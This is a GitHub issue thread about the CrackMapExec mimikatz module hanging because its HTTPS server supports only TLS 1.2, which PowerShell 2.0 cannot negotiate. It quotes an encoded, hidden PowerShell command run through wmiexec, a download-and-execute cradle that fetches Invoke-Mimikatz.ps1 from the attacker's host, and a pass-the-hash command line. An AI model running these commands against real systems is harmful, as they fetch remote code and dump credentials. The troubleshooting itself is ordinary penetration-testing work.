CrackMapExec
CrackMapExec copied to clipboard
Server-side TLS version is not supported by Powershell 2.0 IEX cradles
All,
I have two Kali installs, one I have been using off a USB stick with a persistent storage. Crackmapexec and mimikatz works perfectly.
I just installed a fresh version of kali on a new laptop. All parts of crackmapexec works great with the exception of mimikatz. Targeting the same system with the same command, the old usb works, but not the new install. On the one that does not work, below is the output from the verbose command:
DEBUG Target system is 10.0.0.28 and isFDQN is False DEBUG StringBinding: \\WStest[\PIPE\atsvc] DEBUG StringBinding: WStest[49154] DEBUG StringBinding: 10.0.0.28[49154] DEBUG StringBinding chosen: ncacn_ip_tcp:10.0.0.28[49154] DEBUG Executed command via wmiexec DEBUG Executing command: cmd.exe /Q /c powershell.exe -exec bypass -window hidden -noni -nop -encoded WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKAHQAcgB5AHsAIAAKAFsAUg............................................. the rest of the base64 ..............................................uAFcAcgBpAHQAZQAoACAAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAIAApADsACgAgACAAIAAgACAAIAAgACAAJAByAGUAcQB1AGUAcwB0AFMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAKAA== MIMIKATZ 10.192.103.28:445 WS3837 [+] Executed payload MIMIKATZ [*] Waiting on 1 host(s)
It never makes it past this part. I can see the target connect to my kali box on port 443, which I assume it is downloading the power shell file. thanks DD
On a side note, I did even copy over the Invoke-Mimikatz.ps1 file from one system to the other.
Did you clone the repo with the --recursive
flag ?
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation
its on kali, both are, do i just ran apt-get
@dirtdiver512 that's not what i asked. Please read the question again.
here is the command i am running: crackmapexec --verbose smb 10.192.103.28 -u username -H ???????????????????:????????????????????
sorry i had a layer 8 issue.....that last post was my issue. But i am back to it stopping as before...waiting on host
@byt3bl33d3r I am having the same issue and I did indeed clone with the --recursive flag. sometimes i will get the --"GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200- and other times I will not on the same target. But always goes to Waiting on 1 host(s) message and repeats it until I force quit
I never get the 200. Something to note.....in the previous version i notice that the code send across was base64 encoded, with this new version I noticed it is encoded different way, not sure how.....but it it looks like when the target runs the code to download the ps script i get this error. I do see some 443 traffic via tcpdump, but I never get the 200 http code on the kali side.
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: An unexpected error occurred on a send."
At line:6 char:46
-
IEX (New-Object Net.WebClient).DownloadString <<<< ('https://10.x.x.x:443/Invoke-Mimikatz.ps1')
-
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
-
FullyQualifiedErrorId : DotNetMethodException
-
fyi i am wondering if it has to do with powershell 2.0 and its lack of tls support......i see this open an http connection, what type of crypto does it use? ssl/tls(1 1.1 1.3 1.3)? PS 2, which is what I am testing with, only has ssl3 and tls 1.0
I made a lil PR that might fix the issue. https://github.com/byt3bl33d3r/CrackMapExec/pull/280 @dirtdiver512 Can you update and retry? You will need to redo the setup.py after updating your repo
dumb question but I assume I can just delete the old folder and rerun git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
I think the TLS is the issue. I cloned this again and still get the same issue. I ran sslscan against the kali box as it was waiting for the download and it appears to only support tls 1.2, Which powershell 2.0 does not support. I see the change you made, but that is only telling powershell what version to allow, the https server side running on kali/python is only 1.2, so that fix I dont think will work. The python https needs to allow tls1 or ssl3, which powershell 2.0 can support.
OK so i can confirm it is an TLS thing.....if i switch to --server http, then it works like a champ.
Cool, at this point this is probably going to be addressed in the V5 re-write as the whole concept of hosting the powershell scripts on http[s] servers is going to become legacy functionality. Anyone's free to submit a PR though in the meantime to address the TLS version\cipher issues server side and I'll gladly merge it.
Cheers
Should not it solve the problem?
ssl.wrap_socket(...ssl_version=ssl.PROTOCOL_SSLv3)
upd. I guess it shouldn't
I think it is still not clear the key to the problem.In the document of Python's ssl library(https://docs.python.org/2/library/ssl.html):
The parameter ssl_version specifies which version of the SSL protocol to use. Typically, the server chooses a particular protocol version, and the client must adapt to the server’s choice. Most of the versions are not interoperable with the other versions. If not specified, the default is PROTOCOL_SSLv23; it provides the most compatibility with other versions.
and PROTOCOL_SSLv23
is a alias for PROTOCOL_TLS
, and PROTOCOL_TLS
means
Selects the highest protocol version that both the client and server support. Despite the name, this option can select “TLS” protocols as well as “SSL”
If so, python's ssl will select tls1.0 to establish connection when Powershell2.0 net.webclient
requests some thing.
I proved my thoughts by using this simple script, and created a new windows7 machine.When Powershell2.0 net.webclient
requests my https server, everything is ok except the certificate error that i can solve it easily.
So..there is something happened...but we dont know, or my thoughts are wrong....